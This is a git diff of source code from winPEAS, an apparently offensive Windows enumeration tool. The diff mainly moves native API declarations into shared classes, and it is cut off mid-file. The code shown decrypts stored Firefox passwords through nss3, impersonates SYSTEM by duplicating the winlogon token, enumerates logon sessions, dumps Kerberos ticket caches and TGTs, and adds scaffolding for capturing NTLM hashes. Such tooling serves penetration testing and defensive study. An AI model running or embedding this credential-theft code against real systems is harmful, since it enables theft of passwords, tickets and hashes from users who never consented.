|
||||
@ -254,7 +200,8 @@ namespace winPEAS.Info.UserInfo
|
||||
}
|
||||
results.Add(rdp_session);
|
||||
}
|
||||
WTSFreeMemory(ppSessionInfo);
|
||||
|
||||
Wtsapi32.WTSFreeMemory(ppSessionInfo);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
|
@ -1,6 +1,7 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using winPEAS.Native;
|
||||
|
||||
namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
||||
{
|
||||
@ -8,28 +9,24 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
||||
/// Firefox helper class
|
||||
/// </summary>
|
||||
static class FFDecryptor
|
||||
{
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr LoadLibrary(string dllFilePath);
|
||||
{
|
||||
static IntPtr NSS3;
|
||||
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
|
||||
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||
public delegate long DLLFunctionDelegate(string configdir);
|
||||
|
||||
private const string ffFolderName = @"\Mozilla Firefox\";
|
||||
public static long NSS_Init(string configdir)
|
||||
{
|
||||
|
||||
var mozillaPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + ffFolderName;
|
||||
if (!System.IO.Directory.Exists(mozillaPath))
|
||||
mozillaPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86) + ffFolderName;
|
||||
if (!System.IO.Directory.Exists(mozillaPath))
|
||||
throw new Exception("Firefox folder not found");
|
||||
|
||||
LoadLibrary(mozillaPath + "mozglue.dll");
|
||||
NSS3 = LoadLibrary(mozillaPath + "nss3.dll");
|
||||
IntPtr pProc = GetProcAddress(NSS3, "NSS_Init");
|
||||
Kernel32.LoadLibrary(mozillaPath + "mozglue.dll");
|
||||
NSS3 = Kernel32.LoadLibrary(mozillaPath + "nss3.dll");
|
||||
IntPtr pProc = Kernel32.GetProcAddress(NSS3, "NSS_Init");
|
||||
DLLFunctionDelegate dll = (DLLFunctionDelegate)Marshal.GetDelegateForFunctionPointer(pProc, typeof(DLLFunctionDelegate));
|
||||
return dll(configdir);
|
||||
}
|
||||
@ -71,7 +68,6 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
||||
if (ffDataUnmanagedPointer != IntPtr.Zero)
|
||||
{
|
||||
Marshal.FreeHGlobal(ffDataUnmanagedPointer);
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@ -84,7 +80,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
||||
public delegate int DLLFunctionDelegate5(ref TSECItem data, ref TSECItem result, int cx);
|
||||
public static int PK11SDR_Decrypt(ref TSECItem data, ref TSECItem result, int cx)
|
||||
{
|
||||
IntPtr pProc = GetProcAddress(NSS3, "PK11SDR_Decrypt");
|
||||
IntPtr pProc = Kernel32.GetProcAddress(NSS3, "PK11SDR_Decrypt");
|
||||
DLLFunctionDelegate5 dll = (DLLFunctionDelegate5)Marshal.GetDelegateForFunctionPointer(pProc, typeof(DLLFunctionDelegate5));
|
||||
return dll(ref data, ref result, cx);
|
||||
}
|
||||
|
@ -1,23 +1,7 @@
|
||||
using System;
|
||||
|
||||
namespace winPEAS.KnownFileCreds.Kerberos
|
||||
{
|
||||
public enum SECURITY_LOGON_TYPE : uint
|
||||
{
|
||||
Interactive = 2, // logging on interactively.
|
||||
Network, // logging using a network.
|
||||
Batch, // logon for a batch process.
|
||||
Service, // logon for a service account.
|
||||
Proxy, // Not supported.
|
||||
Unlock, // Tattempt to unlock a workstation.
|
||||
NetworkCleartext, // network logon with cleartext credentials
|
||||
NewCredentials, // caller can clone its current token and specify new credentials for outbound connections
|
||||
RemoteInteractive, // terminal server session that is both remote and interactive
|
||||
CachedInteractive, // attempt to use the cached credentials without going out across the network
|
||||
CachedRemoteInteractive,// same as RemoteInteractive, except used internally for auditing purposes
|
||||
CachedUnlock // attempt to unlock a workstation
|
||||
}
|
||||
|
||||
{
|
||||
public enum KERB_ENCRYPTION_TYPE : UInt32
|
||||
{
|
||||
reserved0 = 0,
|
||||
|
@ -1,62 +1,12 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Native;
|
||||
|
||||
namespace winPEAS.KnownFileCreds.Kerberos
|
||||
{
|
||||
static class Helpers
|
||||
{
|
||||
[DllImport("secur32.dll", SetLastError = true)]
|
||||
public static extern int
|
||||
LsaRegisterLogonProcess(LSA_STRING_IN LogonProcessName, out IntPtr LsaHandle, out ulong SecurityMode);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool
|
||||
OpenProcessToken(IntPtr ProcessHandle, UInt32 DesiredAccess, out IntPtr TokenHandle);
|
||||
|
||||
[DllImport("advapi32.dll")]
|
||||
public extern static bool
|
||||
DuplicateToken(IntPtr ExistingTokenHandle, int SECURITY_IMPERSONATION_LEVEL, ref IntPtr DuplicateTokenHandle);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
public static extern bool
|
||||
ImpersonateLoggedOnUser(IntPtr hToken);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool
|
||||
CloseHandle(IntPtr hObject);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
public static extern bool
|
||||
RevertToSelf();
|
||||
|
||||
[DllImport("Secur32.dll", SetLastError = false)]
|
||||
public static extern uint LsaEnumerateLogonSessions(out UInt64 LogonSessionCount, out IntPtr LogonSessionList);
|
||||
|
||||
[DllImport("Secur32.dll", SetLastError = false)]
|
||||
public static extern uint LsaGetLogonSessionData(IntPtr luid, out IntPtr ppLogonSessionData);
|
||||
|
||||
[DllImport("secur32.dll", SetLastError = false)]
|
||||
public static extern int LsaLookupAuthenticationPackage([In] IntPtr LsaHandle, [In] ref LSA_STRING_IN PackageName, [Out] out int AuthenticationPackage);
|
||||
|
||||
[DllImport("secur32.dll", SetLastError = false)]
|
||||
public static extern int LsaCallAuthenticationPackage(IntPtr LsaHandle, int AuthenticationPackage, ref KERB_QUERY_TKT_CACHE_REQUEST ProtocolSubmitBuffer, int SubmitBufferLength, out IntPtr ProtocolReturnBuffer, out int ReturnBufferLength, out int ProtocolStatus);
|
||||
|
||||
[DllImport("secur32.dll", SetLastError = false)]
|
||||
public static extern uint LsaFreeReturnBuffer(IntPtr buffer);
|
||||
[DllImport("secur32.dll", SetLastError = false)]
|
||||
public static extern int LsaConnectUntrusted([Out] out IntPtr LsaHandle);
|
||||
|
||||
[DllImport("secur32.dll", SetLastError = false)]
|
||||
public static extern int LsaDeregisterLogonProcess([In] IntPtr LsaHandle);
|
||||
|
||||
[DllImport("secur32.dll", EntryPoint = "LsaCallAuthenticationPackage", SetLastError = false)]
|
||||
public static extern int LsaCallAuthenticationPackage_KERB_RETRIEVE_TKT(IntPtr LsaHandle, int AuthenticationPackage, ref KERB_RETRIEVE_TKT_REQUEST ProtocolSubmitBuffer, int SubmitBufferLength, out IntPtr ProtocolReturnBuffer, out int ReturnBufferLength, out int ProtocolStatus);
|
||||
|
||||
|
||||
{
|
||||
public static IntPtr LsaRegisterLogonProcessHelper()
|
||||
{
|
||||
// helper that establishes a connection to the LSA server and verifies that the caller is a logon application
|
||||
@ -71,7 +21,7 @@ namespace winPEAS.KnownFileCreds.Kerberos
|
||||
LSAString.MaximumLength = (ushort)(logonProcessName.Length + 1);
|
||||
LSAString.Buffer = logonProcessName;
|
||||
|
||||
int ret = LsaRegisterLogonProcess(LSAString, out lsaHandle, out securityMode);
|
||||
int ret = Secur32.LsaRegisterLogonProcess(LSAString, out lsaHandle, out securityMode);
|
||||
|
||||
return lsaHandle;
|
||||
}
|
||||
@ -89,7 +39,7 @@ namespace winPEAS.KnownFileCreds.Kerberos
|
||||
IntPtr handle = processes[0].Handle;
|
||||
|
||||
// TOKEN_DUPLICATE = 0x0002
|
||||
bool success = OpenProcessToken(handle, 0x0002, out hToken);
|
||||
bool success = Advapi32.OpenProcessToken(handle, 0x0002, out hToken);
|
||||
if (!success)
|
||||
{
|
||||
//Console.WriteLine("OpenProcessToken failed!");
|
||||
@ -99,14 +49,14 @@ namespace winPEAS.KnownFileCreds.Kerberos
|
||||
// make a copy of the NT AUTHORITY\SYSTEM token from winlogon
|
||||
// 2 == SecurityImpersonation
|
||||
IntPtr hDupToken = IntPtr.Zero;
|
||||
success = DuplicateToken(hToken, 2, ref hDupToken);
|
||||
success = Advapi32.DuplicateToken(hToken, 2, ref hDupToken);
|
||||
if (!success)
|
||||
{
|
||||
//Console.WriteLine("DuplicateToken failed!");
|
||||
return false;
|
||||
}
|
||||
|
||||
success = ImpersonateLoggedOnUser(hDupToken);
|
||||
success = Advapi32.ImpersonateLoggedOnUser(hDupToken);
|
||||
if (!success)
|
||||
{
|
||||
//Console.WriteLine("ImpersonateLoggedOnUser failed!");
|
||||
@ -114,8 +64,8 @@ namespace winPEAS.KnownFileCreds.Kerberos
|
||||
}
|
||||
|
||||
// clean up the handles we created
|
||||
CloseHandle(hToken);
|
||||
CloseHandle(hDupToken);
|
||||
Kernel32.CloseHandle(hToken);
|
||||
Kernel32.CloseHandle(hDupToken);
|
||||
|
||||
string name = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
|
||||
if (name != "NT AUTHORITY\\SYSTEM")
|
||||
|
@ -2,6 +2,8 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Runtime.InteropServices;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Native;
|
||||
using winPEAS.Native.Enums;
|
||||
|
||||
namespace winPEAS.KnownFileCreds.Kerberos
|
||||
{
|
||||
@ -38,7 +40,7 @@ namespace winPEAS.KnownFileCreds.Kerberos
|
||||
// should now have the proper privileges to get a Handle to LSA
|
||||
hLsa = Helpers.LsaRegisterLogonProcessHelper();
|
||||
// we don't need our NT AUTHORITY\SYSTEM Token anymore so we can revert to our original token
|
||||
Helpers.RevertToSelf();
|
||||
Advapi32.RevertToSelf();
|
||||
}
|
||||
|
||||
try
|
||||
@ -50,12 +52,12 @@ namespace winPEAS.KnownFileCreds.Kerberos
|
||||
IntPtr luidPtr = IntPtr.Zero;
|
||||
IntPtr iter = luidPtr;
|
||||
|
||||
uint ret = Helpers.LsaEnumerateLogonSessions(out count, out luidPtr); // get an array of pointers to LUIDs
|
||||
uint ret = Secur32.LsaEnumerateLogonSessions(out count, out luidPtr); // get an array of pointers to LUIDs
|
||||
|
||||
for (ulong i = 0; i < count; i++)
|
||||
{
|
||||
IntPtr sessionData;
|
||||
ret = Helpers.LsaGetLogonSessionData(luidPtr, out sessionData);
|
||||
ret = Secur32.LsaGetLogonSessionData(luidPtr, out sessionData);
|
||||
SECURITY_LOGON_SESSION_DATA data = (SECURITY_LOGON_SESSION_DATA)Marshal.PtrToStructure(sessionData, typeof(SECURITY_LOGON_SESSION_DATA));
|
||||
|
||||
// if we have a valid logon
|
||||
@ -92,7 +94,7 @@ namespace winPEAS.KnownFileCreds.Kerberos
|
||||
KERB_TICKET_CACHE_INFO ticket;
|
||||
|
||||
// obtains the unique identifier for the kerberos authentication package.
|
||||
retCode = Helpers.LsaLookupAuthenticationPackage(hLsa, ref LSAString, out authPack);
|
||||
retCode = Secur32.LsaLookupAuthenticationPackage(hLsa, ref LSAString, out authPack);
|
||||
|
||||
// input object for querying the ticket cache for a specific logon ID
|
||||
LUID userLogonID = new LUID();
|
||||
@ -102,7 +104,7 @@ namespace winPEAS.KnownFileCreds.Kerberos
|
||||
tQuery.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbQueryTicketCacheMessage;
|
||||
|
||||
// query LSA, specifying we want the ticket cache
|
||||
retCode = Helpers.LsaCallAuthenticationPackage(hLsa, authPack, ref tQuery, Marshal.SizeOf(tQuery), out ticketPointer, out returnBufferLength, out protocalStatus);
|
||||
retCode = Secur32.LsaCallAuthenticationPackage(hLsa, authPack, ref tQuery, Marshal.SizeOf(tQuery), out ticketPointer, out returnBufferLength, out protocalStatus);
|
||||
|
||||
/*Console.WriteLine("\r\n UserName : {0}", username);
|
||||
Console.WriteLine(" Domain : {0}", domain);
|
||||
@ -162,12 +164,12 @@ namespace winPEAS.KnownFileCreds.Kerberos
|
||||
}
|
||||
// move the pointer forward
|
||||
luidPtr = (IntPtr)((long)luidPtr.ToInt64() + Marshal.SizeOf(typeof(LUID)));
|
||||
Helpers.LsaFreeReturnBuffer(sessionData);
|
||||
Secur32.LsaFreeReturnBuffer(sessionData);
|
||||
}
|
||||
Helpers.LsaFreeReturnBuffer(luidPtr);
|
||||
Secur32.LsaFreeReturnBuffer(luidPtr);
|
||||
|
||||
// disconnect from LSA
|
||||
Helpers.LsaDeregisterLogonProcess(hLsa);
|
||||
Secur32.LsaDeregisterLogonProcess(hLsa);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
@ -203,21 +205,21 @@ namespace winPEAS.KnownFileCreds.Kerberos
|
||||
|
||||
// If we want to look at tickets from a session other than our own
|
||||
// then we need to use LsaRegisterLogonProcess instead of LsaConnectUntrusted
|
||||
retCode = Helpers.LsaConnectUntrusted(out lsaHandle);
|
||||
retCode = Secur32.LsaConnectUntrusted(out lsaHandle);
|
||||
|
||||
KERB_QUERY_TKT_CACHE_REQUEST tQuery = new KERB_QUERY_TKT_CACHE_REQUEST();
|
||||
KERB_QUERY_TKT_CACHE_RESPONSE tickets = new KERB_QUERY_TKT_CACHE_RESPONSE();
|
||||
KERB_TICKET_CACHE_INFO ticket;
|
||||
|
||||
// obtains the unique identifier for the kerberos authentication package.
|
||||
retCode = Helpers.LsaLookupAuthenticationPackage(lsaHandle, ref LSAString, out authPack);
|
||||
retCode = Secur32.LsaLookupAuthenticationPackage(lsaHandle, ref LSAString, out authPack);
|
||||
|
||||
// input object for querying the ticket cache (https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ns-ntsecapi-_kerb_query_tkt_cache_request)
|
||||
tQuery.LogonId = new LUID();
|
||||
tQuery.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbQueryTicketCacheMessage;
|
||||
|
||||
// query LSA, specifying we want the ticket cache
|
||||
retCode = Helpers.LsaCallAuthenticationPackage(lsaHandle, authPack, ref tQuery, Marshal.SizeOf(tQuery), out ticketPointer, out returnBufferLength, out protocalStatus);
|
||||
retCode = Secur32.LsaCallAuthenticationPackage(lsaHandle, authPack, ref tQuery, Marshal.SizeOf(tQuery), out ticketPointer, out returnBufferLength, out protocalStatus);
|
||||
|
||||
// parse the returned pointer into our initial KERB_QUERY_TKT_CACHE_RESPONSE structure
|
||||
tickets = (KERB_QUERY_TKT_CACHE_RESPONSE)Marshal.PtrToStructure((System.IntPtr)ticketPointer, typeof(KERB_QUERY_TKT_CACHE_RESPONSE));
|
||||
@ -256,7 +258,7 @@ namespace winPEAS.KnownFileCreds.Kerberos
|
||||
}
|
||||
|
||||
// disconnect from LSA
|
||||
Helpers.LsaDeregisterLogonProcess(lsaHandle);
|
||||
Secur32.LsaDeregisterLogonProcess(lsaHandle);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
@ -296,7 +298,7 @@ namespace winPEAS.KnownFileCreds.Kerberos
|
||||
// should now have the proper privileges to get a Handle to LSA
|
||||
hLsa = Helpers.LsaRegisterLogonProcessHelper();
|
||||
// we don't need our NT AUTHORITY\SYSTEM Token anymore so we can revert to our original token
|
||||
Helpers.RevertToSelf();
|
||||
Advapi32.RevertToSelf();
|
||||
}
|
||||
|
||||
try
|
||||
@ -308,12 +310,12 @@ namespace winPEAS.KnownFileCreds.Kerberos
|
||||
IntPtr luidPtr = IntPtr.Zero;
|
||||
IntPtr iter = luidPtr;
|
||||
|
||||
uint ret = Helpers.LsaEnumerateLogonSessions(out count, out luidPtr); // get an array of pointers to LUIDs
|
||||
uint ret = Secur32.LsaEnumerateLogonSessions(out count, out luidPtr); // get an array of pointers to LUIDs
|
||||
|
||||
for (ulong i = 0; i < count; i++)
|
||||
{
|
||||
IntPtr sessionData;
|
||||
ret = Helpers.LsaGetLogonSessionData(luidPtr, out sessionData);
|
||||
ret = Secur32.LsaGetLogonSessionData(luidPtr, out sessionData);
|
||||
SECURITY_LOGON_SESSION_DATA data = (SECURITY_LOGON_SESSION_DATA)Marshal.PtrToStructure(sessionData, typeof(SECURITY_LOGON_SESSION_DATA));
|
||||
|
||||
// if we have a valid logon
|
||||
@ -347,7 +349,7 @@ namespace winPEAS.KnownFileCreds.Kerberos
|
||||
KERB_RETRIEVE_TKT_RESPONSE response = new KERB_RETRIEVE_TKT_RESPONSE();
|
||||
|
||||
// obtains the unique identifier for the kerberos authentication package.
|
||||
retCode = Helpers.LsaLookupAuthenticationPackage(hLsa, ref LSAString, out authPack);
|
||||
retCode = Secur32.LsaLookupAuthenticationPackage(hLsa, ref LSAString, out authPack);
|
||||
|
||||
// input object for querying the TGT for a specific logon ID (https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ns-ntsecapi-_kerb_retrieve_tkt_request)
|
||||
LUID userLogonID = new LUID();
|
||||
@ -359,7 +361,7 @@ namespace winPEAS.KnownFileCreds.Kerberos
|
||||
tQuery.CacheOptions = KERB_CACHE_OPTIONS.KERB_RETRIEVE_TICKET_AS_KERB_CRED;
|
||||
|
||||
// query LSA, specifying we want the the TGT data
|
||||
retCode = Helpers.LsaCallAuthenticationPackage_KERB_RETRIEVE_TKT(hLsa, authPack, ref tQuery, Marshal.SizeOf(tQuery), out responsePointer, out returnBufferLength, out protocalStatus);
|
||||
retCode = Secur32.LsaCallAuthenticationPackage_KERB_RETRIEVE_TKT(hLsa, authPack, ref tQuery, Marshal.SizeOf(tQuery), out responsePointer, out returnBufferLength, out protocalStatus);
|
||||
|
||||
if ((retCode) == 0 && (responsePointer != IntPtr.Zero))
|
||||
{
|
||||
@ -439,13 +441,13 @@ namespace winPEAS.KnownFileCreds.Kerberos
|
||||
}
|
||||
luidPtr = (IntPtr)((long)luidPtr.ToInt64() + Marshal.SizeOf(typeof(LUID)));
|
||||
//move the pointer forward
|
||||
Helpers.LsaFreeReturnBuffer(sessionData);
|
||||
Secur32.LsaFreeReturnBuffer(sessionData);
|
||||
//free the SECURITY_LOGON_SESSION_DATA memory in the struct
|
||||
}
|
||||
Helpers.LsaFreeReturnBuffer(luidPtr); //free the array of LUIDs
|
||||
Secur32.LsaFreeReturnBuffer(luidPtr); //free the array of LUIDs
|
||||
|
||||
// disconnect from LSA
|
||||
Helpers.LsaDeregisterLogonProcess(hLsa);
|
||||
Secur32.LsaDeregisterLogonProcess(hLsa);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
@ -478,13 +480,13 @@ namespace winPEAS.KnownFileCreds.Kerberos
|
||||
|
||||
// If we want to look at tickets from a session other than our own
|
||||
// then we need to use LsaRegisterLogonProcess instead of LsaConnectUntrusted
|
||||
retCode = Helpers.LsaConnectUntrusted(out lsaHandle);
|
||||
retCode = Secur32.LsaConnectUntrusted(out lsaHandle);
|
||||
|
||||
KERB_RETRIEVE_TKT_REQUEST tQuery = new KERB_RETRIEVE_TKT_REQUEST();
|
||||
KERB_RETRIEVE_TKT_RESPONSE response = new KERB_RETRIEVE_TKT_RESPONSE();
|
||||
|
||||
// obtains the unique identifier for the kerberos authentication package.
|
||||
retCode = Helpers.LsaLookupAuthenticationPackage(lsaHandle, ref LSAString, out authPack);
|
||||
retCode = Secur32.LsaLookupAuthenticationPackage(lsaHandle, ref LSAString, out authPack);
|
||||
|
||||
// input object for querying the TGT (https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ns-ntsecapi-_kerb_retrieve_tkt_request)
|
||||
tQuery.LogonId = new LUID();
|
||||
@ -493,7 +495,7 @@ namespace winPEAS.KnownFileCreds.Kerberos
|
||||
//tQuery.CacheOptions = KERB_CACHE_OPTIONS.KERB_RETRIEVE_TICKET_AS_KERB_CRED;
|
||||
|
||||
// query LSA, specifying we want the the TGT data
|
||||
retCode = Helpers.LsaCallAuthenticationPackage_KERB_RETRIEVE_TKT(lsaHandle, authPack, ref tQuery, Marshal.SizeOf(tQuery), out responsePointer, out returnBufferLength, out protocalStatus);
|
||||
retCode = Secur32.LsaCallAuthenticationPackage_KERB_RETRIEVE_TKT(lsaHandle, authPack, ref tQuery, Marshal.SizeOf(tQuery), out responsePointer, out returnBufferLength, out protocalStatus);
|
||||
|
||||
// parse the returned pointer into our initial KERB_RETRIEVE_TKT_RESPONSE structure
|
||||
response = (KERB_RETRIEVE_TKT_RESPONSE)Marshal.PtrToStructure((System.IntPtr)responsePointer, typeof(KERB_RETRIEVE_TKT_RESPONSE));
|
||||
@ -556,7 +558,7 @@ namespace winPEAS.KnownFileCreds.Kerberos
|
||||
});
|
||||
|
||||
// disconnect from LSA
|
||||
Helpers.LsaDeregisterLogonProcess(lsaHandle);
|
||||
Secur32.LsaDeregisterLogonProcess(lsaHandle);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
|
@ -1,9 +1,6 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using System.Xml;
|
||||
using Microsoft.Win32;
|
||||
using winPEAS.Helpers;
|
||||
|
@ -0,0 +1,14 @@
|
||||
namespace winPEAS.KnownFileCreds.SecurityPackages
|
||||
{
|
||||
internal class NtlmHashInfo
|
||||
{
|
||||
public string Version { get; private set; }
|
||||
public string Hash { get; private set; }
|
||||
|
||||
public NtlmHashInfo(string version, string hash)
|
||||
{
|
||||
Version = version;
|
||||
Hash = hash;
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,96 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace winPEAS.KnownFileCreds.SecurityPackages
|
||||
{
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SecBuffer : IDisposable
|
||||
{
|
||||
public int BufferSize;
|
||||
public int BufferType;
|
||||
public IntPtr BufferPtr;
|
||||
|
||||
/// <summary>
|
||||
/// Initialization constructor that allocates a new security buffer
|
||||
/// </summary>
|
||||
/// <param name="bufferSize">Size of the buffer to allocate</param>
|
||||
internal SecBuffer(int bufferSize)
|
||||
{
|
||||
// Save buffer size
|
||||
BufferSize = bufferSize;
|
||||
|
||||
// Set buffer type (2 = Token)
|
||||
BufferType = 2;
|
||||
|
||||
// Allocate buffer
|
||||
BufferPtr = Marshal.AllocHGlobal(bufferSize);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Initialization constructor for existing buffer
|
||||
/// </summary>
|
||||
/// <param name="buffer">Data</param>
|
||||
internal SecBuffer(byte[] buffer)
|
||||
{
|
||||
// Save buffer size
|
||||
BufferSize = buffer.Length;
|
||||
|
||||
// Set buffer type (2 = Token)
|
||||
BufferType = 2;
|
||||
|
||||
// Allocate unmanaged memory for the buffer
|
||||
BufferPtr = Marshal.AllocHGlobal(BufferSize);
|
||||
|
||||
|
||||
try
|
||||
{
|
||||
// Copy data into the unmanaged memory
|
||||
Marshal.Copy(buffer, 0, BufferPtr, BufferSize);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
// Dispose object
|
||||
Dispose();
|
||||
|
||||
// Re-throw exception
|
||||
throw;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Extract raw byte data from the security buffer
|
||||
/// </summary>
|
||||
internal byte[] ToArray()
|
||||
{
|
||||
// Check if we have a security buffer
|
||||
if (BufferPtr == IntPtr.Zero)
|
||||
{
|
||||
return new byte[] { };
|
||||
}
|
||||
|
||||
// Allocate byte buffer
|
||||
var buffer = new byte[BufferSize];
|
||||
|
||||
// Copy data from the native space
|
||||
Marshal.Copy(BufferPtr, buffer, 0, BufferSize);
|
||||
|
||||
return buffer;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Dispose security buffer
|
||||
/// </summary>
|
||||
public void Dispose()
|
||||
{
|
||||
// Check buffer pointer validity
|
||||
if (BufferPtr != IntPtr.Zero)
|
||||
{
|
||||
// Release memory associated with it
|
||||
Marshal.FreeHGlobal(BufferPtr);
|
||||
|
||||
// Reset buffer pointer
|
||||
BufferPtr = IntPtr.Zero;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,151 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace winPEAS.KnownFileCreds.SecurityPackages
|
||||
{
|
||||
// SecBufferDesc structure - https://docs.microsoft.com/en-us/windows/win32/api/sspi/ns-sspi-secbufferdesc
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SecBufferDesc : IDisposable
|
||||
{
|
||||
public int Version;
|
||||
public int BufferCount;
|
||||
public IntPtr BuffersPtr;
|
||||
|
||||
/// <summary>
|
||||
/// Initialization constructor
|
||||
/// </summary>
|
||||
/// <param name="size">Size of the buffer to allocate</param>
|
||||
internal SecBufferDesc(int size)
|
||||
{
|
||||
// Set version to SECBUFFER_VERSION
|
||||
Version = 0;
|
||||
|
||||
// Set the number of buffers
|
||||
BufferCount = 1;
|
||||
|
||||
// Allocate a security buffer of the requested size
|
||||
var secBuffer = new SecBuffer(size);
|
||||
|
||||
// Allocate a native chunk of memory for security buffer
|
||||
BuffersPtr = Marshal.AllocHGlobal(Marshal.SizeOf(secBuffer));
|
||||
|
||||
try
|
||||
{
|
||||
// Copy managed data into the native memory
|
||||
Marshal.StructureToPtr(secBuffer, BuffersPtr, false);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
// Delete native memory
|
||||
Marshal.FreeHGlobal(BuffersPtr);
|
||||
|
||||
// Reset native buffer pointer
|
||||
BuffersPtr = IntPtr.Zero;
|
||||
|
||||
// Re-throw exception
|
||||
throw;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Initialization constructor for byte array
|
||||
/// </summary>
|
||||
/// <param name="buffer">Data</param>
|
||||
internal SecBufferDesc(byte[] buffer)
|
||||
{
|
||||
// Set version to SECBUFFER_VERSION
|
||||
Version = 0;
|
||||
|
||||
// We have only one buffer
|
||||
BufferCount = 1;
|
||||
|
||||
// Allocate security buffer
|
||||
var secBuffer = new SecBuffer(buffer);
|
||||
|
||||
// Allocate native memory for managed block
|
||||
BuffersPtr = Marshal.AllocHGlobal(Marshal.SizeOf(secBuffer));
|
||||
|
||||
try
|
||||
{
|
||||
// Copy managed data into the native memory
|
||||
Marshal.StructureToPtr(secBuffer, BuffersPtr, false);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
// Delete native memory
|
||||
Marshal.FreeHGlobal(BuffersPtr);
|
||||
|
||||
// Reset native buffer pointer
|
||||
BuffersPtr = IntPtr.Zero;
|
||||
|
||||
// Re-throw exception
|
||||
throw;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Dispose security buffer descriptor
|
||||
/// </summary>
|
||||
public void Dispose()
|
||||
{
|
||||
// Check if we have a buffer
|
||||
if (BuffersPtr != IntPtr.Zero)
|
||||
{
|
||||
// Iterate through each buffer than we manage
|
||||
for (var index = 0; index < BufferCount; index++)
|
||||
{
|
||||
// Calculate pointer to the buffer
|
||||
var currentBufferPtr = new IntPtr(BuffersPtr.ToInt64() + (index * Marshal.SizeOf(typeof(SecBuffer))));
|
||||
|
||||
// Project the buffer into the managed world
|
||||
var secBuffer = (SecBuffer)Marshal.PtrToStructure(currentBufferPtr, typeof(SecBuffer));
|
||||
|
||||
// Dispose it
|
||||
secBuffer.Dispose();
|
||||
}
|
||||
|
||||
// Release native memory block
|
||||
Marshal.FreeHGlobal(BuffersPtr);
|
||||
|
||||
// Reset buffer pointer
|
||||
BuffersPtr = IntPtr.Zero;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Convert to byte array
|
||||
/// </summary>
|
||||
internal byte[] ToArray()
|
||||
{
|
||||
// Check if we have a buffer
|
||||
if (BuffersPtr == IntPtr.Zero)
|
||||
{
|
||||
// We don't have a buffer
|
||||
return new byte[] { };
|
||||
}
|
||||
|
||||
// Prepare a memory stream to contain all the buffers
|
||||
var outputStream = new MemoryStream();
|
||||
|
||||
// Iterate through each buffer and write the data into the stream
|
||||
for (var index = 0; index < BufferCount; index++)
|
||||
{
|
||||
// Calculate pointer to the buffer
|
||||
var currentBufferPtr = new IntPtr(BuffersPtr.ToInt64() + (index * Marshal.SizeOf(typeof(SecBuffer))));
|
||||
|
||||
// Project the buffer into the managed world
|
||||
var secBuffer = (SecBuffer)Marshal.PtrToStructure(currentBufferPtr, typeof(SecBuffer));
|
||||
|
||||
// Get the byte buffer
|
||||
var secBufferBytes = secBuffer.ToArray();
|
||||
|
||||
// Write buffer to the stream
|
||||
outputStream.Write(secBufferBytes, 0, secBufferBytes.Length);
|
||||
}
|
||||
|
||||
// Convert to byte array
|
||||
return outputStream.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,265 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using winPEAS.KnownFileCreds.Kerberos;
|
||||
using winPEAS.Native;
|
||||
|
||||
namespace winPEAS.KnownFileCreds.SecurityPackages
|
||||
{
|
||||
internal class SecurityPackages
|
||||
{
|
||||
